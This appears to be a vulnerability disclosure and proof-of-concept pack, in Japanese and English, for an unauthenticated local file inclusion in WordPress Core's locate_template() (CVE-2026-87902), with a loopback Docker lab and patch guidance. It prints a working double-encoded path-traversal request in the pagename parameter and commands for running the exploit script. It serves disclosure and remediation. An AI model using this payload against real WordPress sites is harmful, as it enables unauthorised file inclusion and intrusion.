
CVE-2026-87902 の概念実証および開示パック。これは `locate_template()` を経由した WordPress Core における未認証のローカルファイルインクルージョンであり、ループバックラボとパッチガイダンスを含みます。
abraxaslabs.tech · github.com/abraxas · @abraxas_null · CVE-2026-87902
WordPress — WordPress Core 7.1.1 — WordPress
WordPress Core は、7.1.1 以前の各種バージョンにおいて、locate_template() 関数を介したローカルファイルインクルージョンに対して脆弱です。
| CVE | CVE-2026-87902 · CVE.org |
| CWE | CWE-98 |
| CVSS | High: 8.1 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Product | WordPress Core |
| Affected | 7.1.1 までのすべてのバージョン(含む) |
| Patched | 7.1.2 以降 |
| Auth | 未認証(ソースマップを参照) |
| License | GNU Affero GPL v3.0 |
| Lab | 127.0.0.1 のみ · ベンダー/クライアント開示パックであり、スキャナーではありません |
wp-includes/template.php の get_page_template + locate_template(7.1.1)。パッチ 7.1.2 では _wp_is_template_path_allowed と、デコードされた pagename に対する validate_file。
GET/?page_id={id}&pagename=templates%252F%252e%252e%252F%252e%252e%252F%252e%252e%252Fuploads%252Fghsa7hp8-witnessGET /?page_id=<published page>&pagename=<double-encoded templates/../../../uploads/ghsa7hp8-witness>WP_Query parse_query is_page from page_id; get_posts replaces WHERE with ID=page_idget_page_template urldecode pagename then page-{$pagename}.phplocate_template file_exists(stylesheet_path + '/' + template_name) no jailtemplate-loader realpath + include未認証の 200 レスポンスボディに GHSA7HP8-WITNESS と wp_version=7.1.1 が含まれる。コントロールの GET /?page_id=N には含まれない。
まずこれを実施: WordPress Core を 7.1.2 以降に更新してください。
アップグレード後の確認
CVE-2026-87902-Abraxas-Labs.py を再実行: マップされたウィットネスが出現しないことを確認してください。すぐに更新できない場合
http://127.0.0.1:8088(またはバインドしたループバック)のみをターゲットにしてください。このスクリプトをインターネットに向けないでください。
python3 CVE-2026-87902-Abraxas-Labs.py
成功とは、レスポンスボディに上記のウィットネスが含まれることです。一般的な 200 HTML ではありません。
再現に使用したループバックスタック。このフォルダ内の Dockerfile がソースからビルドする場合を除き、公式イメージを使用しています。
cd lab
docker compose up --force-recreate
YAML がローカルディレクトリをマウントする場合(バージョンテーブルからのプラグイン zip / ソースタグ)、脆弱な製品ツリーを Compose の隣にバインドしてください。127.0.0.1 以外は公開しないでください。
# CVE-2026-87902 / GHSA-7hp8-65ch-5whp
CWE: CWE-98
CVSS: High 8.1 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H (Wordfence). GitHub advisory: Critical.
## Description
An unauthenticated attacker can make `get_page_template()` page-template resolution include a chosen readable local `.php` file outside the active theme directories. `locate_template()` in WordPress <= 7.1.1 concatenates the caller-supplied template name onto the theme path and does not verify the result stays inside the theme. The core-reachable vector is the url-decoded `pagename` query variable. WordPress 7.1.2 adds `_wp_is_template_path_allowed()`.
## Product
WordPress 7.1.1 (fixed in 7.1.2, backported through 4.7.37). Lab oracle is LFI of a witness PHP file, not RCE.
この開示パックは GNU Affero General Public License v3.0 の下でライセンスされています。LICENSE を参照してください。
このパックはベンダー、サイト所有者、およびライセンスされたラボ向けです。スクリプトは 127.0.0.1 と通信します。所有していないシステムに対して使用することは、Abraxas Labs によって許可されていません。保証はありません。